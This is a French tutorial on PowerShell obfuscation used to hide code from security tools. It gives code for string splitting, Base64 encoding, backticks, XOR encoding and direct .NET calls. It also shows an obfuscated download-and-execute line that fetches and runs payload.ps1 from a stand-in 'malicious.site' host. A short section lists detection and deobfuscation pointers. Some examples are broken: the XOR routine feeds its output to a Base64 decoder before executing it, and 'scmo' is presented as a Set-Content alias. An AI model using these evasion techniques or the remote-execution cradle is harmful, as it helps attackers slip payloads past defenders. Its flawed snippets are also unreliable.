Techniques d’obfuscation PowerShell
Techniques d’obfuscation PowerShell : Guide Complet avec Exemples#
L’obfuscation PowerShell est utilisée pour masquer le code malveillant ou sensible, le rendant difficile à analyser pour les outils de sécurité. Voici les méthodes clés et des exemples concrets.
1. Découpage de chaînes#
Objectif : Fragmenter les commandes en morceaux réassemblés à l’exécution.
# Exemple 1 : Appel de Get-Process
& ('Ge'+'t-Pr'+'ocess') -Name "chrome"
# Exemple 2 : Appel dynamique d'une cmdlet
$cmd = 'Inv'+'oke-Exp'+'ression'
& $cmd "Start-Process notepad"
2. Encodage Base64#
Objectif : Cacher le code dans une chaîne encodée.
# Convertir un script en Base64
$script = "Get-ChildItem -Path $env:USERPROFILE\Documents -Recurse"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($script))
# Exécuter le code encodé
powershell.exe -EncodedCommand $encoded
3. Alias obscurs#
Objectif : Utiliser des alias courts pour remplacer les cmdlets connues.
# Raccourcis courants
gal # Get-Alias
scmo -Value 'Data' -Name X # Set-Content
% { $_ * 2 } # ForEach-Object
4. Variables dynamiques#
Objectif : Stocker des parties de code dans des variables pour brouiller les pistes.
$a = 'Get'
$b = '-WmiObject'
$c = 'Win32_Process'
& ($a + $b) $c
5. Caractères d’échappement#
Objectif : Ajouter des caractères inutiles pour perturber la lecture.
# Utilisation de backticks (`)
Invoke`-Expression "Write`-Host 'Hello'"
# Caractères vides et guillemets
& "Get`-`Process"
6. Appels .NET directs#
Objectif : Éviter les cmdlets PowerShell en utilisant des classes .NET.
# Créer un fichier sans cmdlets
[System.IO.File]::WriteAllText("C:\Temp\secret.txt", "Confidential")
# Démarrer un processus
[System.Diagnostics.Process]::Start("calc.exe")
7. Encodage personnalisé (XOR)#
Objectif : Masquer les chaînes avec un chiffrement maison.
# Chiffrement XOR simple
$key = 0x42
$secret = "Payload"
$obfuscated = $secret.ToCharArray() | ForEach-Object { [char]($_ -bxor $key) }
$payload = -join $obfuscated
# Déchiffrement et exécution
iex ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)))
8. Fragmentation syntaxique#
Objectif : Ajouter du bruit syntaxique pour complexifier l’analyse statique.
# Commentaires et sauts de ligne inutiles
Get-Content `
-Path "C:\Logs\*" `
| Where-Object { `
$_ -match "error" `
} `
| ForEach-Object { $_.Split(':')[1] }
Combinaisons avancées#
Exemple : Utiliser des variables, du découpage et des appels .NET.
$trigger = ('i'+'n'+'v'+'ok'+'e-exe' -replace '-exe','')
$url = "http://malicious.site/payload.ps1"
$script = (New-Object Net.WebClient).DownloadString($url)
& $trigger $script
Pour aller plus loin#
- Analyse dynamique : Exécutez les scripts dans un sandbox pour observer leur comportement réel.
- Déobfuscation manuelle : Utilisez des outils comme
PSDecode
ouCyberChef
pour décoder les chaînes. - Règles de détection : Cherchez des motifs comme
iex
,-EncodedCommand
, ou des appels fréquents à[System.Reflection.Assembly]
.
Note : Ces techniques illustrent des méthodes réelles utilisées par les attaquants. Testez-les uniquement dans un environnement contrôlé.